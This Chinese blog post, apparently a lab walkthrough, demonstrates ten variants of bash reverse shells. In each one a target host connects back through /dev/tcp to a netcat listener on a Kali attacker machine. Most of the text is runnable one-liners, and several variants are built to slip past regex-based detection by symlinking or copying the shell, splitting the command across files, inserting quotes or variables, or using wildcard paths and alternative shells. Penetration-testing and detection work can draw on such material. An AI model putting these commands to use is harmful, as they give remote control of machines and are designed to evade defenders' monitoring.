反弹 shell 姿势复现(一)前言复现环境说明反弹 shell 姿势(一)--- 利用 bash 反弹 shell 重要说明方法一方法二前言 & nbsp; 反弹 shell 有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹 shell 复现也算是一个近期工作的归纳总结吧。
前言
反弹 shell 有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹 shell 复现也算是一个近期工作的归纳总结吧。
注意:本博文仅供学习反弹 shell 的姿势使用,勿作其他用途的参考!
后门简介
反弹 SHELL 技术
当目标系统为 LINUX 时,反弹 SHELL 在漏洞证明、利用中是一个有效的手段。可在目标机器执行 bash -i >& /dev/tcp/[攻击者IP]/[攻击者端口] 0>&1
反弹 SHELL。
bash -i >& /dev/tcp/kali的ip地址/1231 0<&1
bash -i
用于创建一个交互式 BASH;>& /dev/tcp/[攻击者IP]/[攻击者端口]
建立 TCP 连接,将标准输出和错误输出重定向到 TCP 连接;0>&1
用于从 TCP 连接获取输入并传入到 BASH。
复现环境说明
我在 ubuntu 和 centos 上均做了复现,用于比较版本对反弹 shell 的影响,实验方式是一样的,只是为了对比结果。
-
服务端(被监听)(ubuntu 使用
cat /proc/version
查看,centos 使用cat /etc/system-release
查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core) -
客户端(监听):kali 5.9.0-kali1-amd64
利用 bash 反弹 shell
利用 bash 反弹 shell 的方式有很多,之后本页面也会不断更新
重要说明
- /dev/tcp 文件说明
这个文件在利用 bash 反弹 shell 的时候非常重要,这个文件本身是不存在的,可以看成是一个设备,打开这个文件就相当于发出了一个 socket 调用,建立起一个 socket 连接,读写这个文件就相当于在这个 socket 连接中传输数据。
/dev/tcp/host_ip/port :只要读取或者写入这个文件,相当于系统会尝试连接 ip 地址为 host_ip 的这台机器,对应的端口为 port,如果这个 ip 和端口存在,就会建立起一个 socket 连接,在 / proc/self/fd 目录下面,还有对应的文件生成。利用这个 / dev/tcp 文件的这个原理,就可以实现 shell 的反弹。
方法一:利用 bash 进行反弹
这是一种基础的利用 / dev/tcp 文件原理的方法
-
监听端(kali 端):
首先让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
被监听端(ubuntu 端):
cp /usr/bin/bash /opt/log_file/t
(复制一个 bash 到当前文件夹)
./t -i >& /dev/tcp/kali的ip地址/1231 0<&1
-
kali 端已经拿到 ubuntu 的 shell,成功后,在 kali 输入
exit
退出即可
方法二:利用 busybox 执行 sh 进行反弹
利用 busybox:BusyBox 是标准 Linux 工具的一个单个可执行实现,里面含带了多种 shell,只不过里面没有包含 bash(此方法使用 sh)。简单的说,busybox 就是一个小型的根文件系统。因此,我们可以使用 busybox 来模拟根文件系统(rootfs),然后再结合一个 linux 内核,这样就可以组件一个 linux 系统了。
- 监听端(kali 端)
首先让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(ubuntu 端):
-
kali 拿到反弹过来的 shell
结果与方法一的结果相同,使用命令exit
退出即可
方法三:软连接诶 + 绕过正则示例 1(命令变化特殊字符)
利用 ln 创建 sh 的软链接,然后通过 / dev/tcp 进行反弹:
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
-
创建软链接:
ln -s /bin/sh t
str=dev
-
./t -i >& /${str}/tcp/kali的ip地址/1231 0>&1
-
kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
方法四:软链接 + 绕过正则示例 2(命令变化特殊字符)+ 新起一个 bash
利用 ln 创建 sh 的软链接,利用echo
命令给值给 sh,然后通过 / dev/tcp 进行反弹:
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
-
创建软链接:
ln -s /bin/sh t
-
echo './t -i >&' '/dev/tcp/kali的ip地址/1231' '0>&1' |bash
-
kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
方法五:软链接 + 绕过正则示例 3(命令变化特殊字符)
利用 ln 创建 sh 的软链接,然后通过 / dev/tcp 进行反弹:
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
-
创建软链接:
ln -s /bin/sh t
-
./t -i >& /"dev"/tcp/kali的ip地址/1231 0>&1
-
kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
这样的变化方式有很多,主要是增加一些符号等,并不影响命令的执行,比如双引号还可以编程单引号、加一些括号、$ 符号、“*” 号等等。
方法六:利用软链接 + bash 执行文件内容
依旧是利用软链接,但是把命令写在文件中去执行。
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
-
创建软链接:
ln -s /bin/sh /tmp/t
echo -n '0<&196
exec 196' > a
echo -n '<>/dev/tcp/kali的ip地址' > b
echo -n '/1231
/tmp/t <&196 >&196 2>&196' > c
-
cat a b c|bash
-
kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
方法七:利用软链接 + 新起 bash 执行反弹
依旧是利用软链接,通过新起一个 bash 来执行反弹命令。
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
-
创建软链接:
ln -s /bin/sh /tmp/t
echo '0<&196
exec' '196<>/dev/tcp/kali的ip地址/1231
-
' '/tmp/t <&196 >&196 2>&196'|bash
-
kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
方法八:软链接 + 执行文件中的命 + 新起一个 bash
依旧是利用软链接,通过新起一个 bash 来执行反弹命令和写入文件相结合。
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
-
创建软链接:
ln -s /bin/sh t
echo -n './t -i >& /de' > a
echo -n 'v/tcp/kali的ip地址/1231 0>' > b
echo -n '&1' > c; cat a b c|bash
-
- kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
- kali 端拿到被监听方反弹的 shell,使用
方法九:利用 zsh 替换 bash + 绕过正则
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
执行命令:/b?n/c?h -i > /dev/tcp/kali的ip地址/1231 0>&1
- kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
方法十:利用 tcsh 替换 bash + 绕过正则
-
监听端(kali 端)
-
让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是 1231 端口)
-
客户端(centos 端):
执行命令/b?n/tc?h -i > /dev/tcp/kali的ip地址/1231 0>&1
- kali 端拿到被监听方反弹的 shell,使用
exit
命令退出即可
这一篇博文后续也会继续保持更新,目前做了二十几种 bash 反弹 shell 的复现,反弹的方式多种多样,并不能涵盖所有,本文总结了其中的一部分,大多数利用 bash 反弹 shell 的方式主要是利用本文提到的方法的排列组合,或者是增加一些符号,也就是绕过正则,在命令中变换特殊字符,比如空格使用 ${IFS}、使用 base64 编码等,或者是加入命令通配符,比如 / b?n/ba?h 等,亦或者是使用 tcsh、zsh 来替换 bash,或者是 cp、软链接来替换 bash 躲避检测等等,主要是为了躲避检测,方式有很多很多,但是其原理都是大同小异)
接下来如果在做到利用 bash 反弹 shell,会进行横向纵向的扩充,根据姿势的种类,也会增加博文的篇数,其他方面如有不足,请多指正 (#^.^#)原文地址 www.cxyzjd.com